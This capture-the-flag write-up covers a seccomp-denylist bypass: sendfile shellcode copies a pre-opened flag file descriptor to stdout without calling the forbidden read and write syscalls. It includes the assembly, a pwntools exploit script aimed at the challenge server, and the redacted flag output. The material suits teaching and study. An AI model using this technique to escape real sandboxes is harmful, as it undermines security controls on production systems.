read_me_not — sendfile bypass
read_me_not — sendfile bypass
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: kernel_space_copy, sendfile_syscall_bypass, syscall_denylist_bypass
Summary
Task: shellcode runner opens /flag for us, places the fd in rdi, and then installs seccomp KILL rules for read/write/open. Solution: use sendfile (syscall 40) to copy the open flag fd to stdout entirely in kernel space, which never invokes the forbidden sys_read/sys_write and escapes the filter.
read_me_not — SPB CTF Pwn Season
Description
Category: shellcoding (pwn4), 10 pts
nc 109.233.56.90 11613Binary:read_me_not
English summary: the binary helpfully opens /flag for us and hands the file descriptor to our shellcode in rdi, but right before that it installs a seccomp filter that KILLs read, write, and open. We have to exfiltrate the flag without those three primitives.
Analysis
The control flow of main:
mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_PRIVATE, -1, 0)— creates an RWX page.fd = open("/flag", O_RDONLY)— stores the flag fd in[rbp-0x14].read(0, mmap_buf, 0x1000)— reads our shellcode.- Builds a libseccomp filter:
seccomp_init(SCMP_ACT_ALLOW), then KILL rules for syscalls0(read),1(write),2(open), thenseccomp_load(). rdi = fd; call rax— transfers control to our shellcode with the flag fd pre-loaded inrdi.
So we start running with:
rdi= open fd of/flag- an RWX page under our control
- a filter that kills
read,write,openimmediately
The key insight is that sendfile(2) is syscall 40 and is not in the deny list. sendfile(out_fd, in_fd, offset, count) copies bytes between two file descriptors entirely inside the kernel — it does not internally hit sys_read/sys_write from userspace perspective and is not filtered.
Solution
41-byte shellcode:
asm read-only • copy allowedmov rsi, rdi ; in_fd = flag fd (received via rdi) mov rdi, 1 ; out_fd = stdout xor rdx, rdx ; offset = NULL (copy from current position) mov r10, 0x200 ; count = 512 bytes mov rax, 40 ; SYS_sendfile syscall xor rdi, rdi mov rax, 231 ; SYS_exit_group syscall
The amd64 Linux syscall ABI uses rdi, rsi, rdx, r10, r8, r9, so the fourth argument (count) goes in r10, not rcx.
On macOS the GNU x86_64-linux-gnu assembler that pwntools expects was missing, so we assemble via keystone directly:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * from keystone import Ks, KS_ARCH_X86, KS_MODE_64 context.arch = 'amd64' sc_src = ( "mov rsi, rdi;" "mov rdi, 1;" "xor rdx, rdx;" "mov r10, 0x200;" "mov rax, 40;" "syscall;" "xor rdi, rdi;" "mov rax, 231;" "syscall" ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, _ = ks.asm(sc_src) shellcode = bytes(encoding) log.info(f"Shellcode length: {len(shellcode)}") p = remote('109.233.56.90', 11613) p.recvuntil(b'shellcode:') p.send(shellcode) print(p.recvall(timeout=5).decode(errors='replace'))
Remote output:
[-] executing shellcode...
spbctf{REDACTED}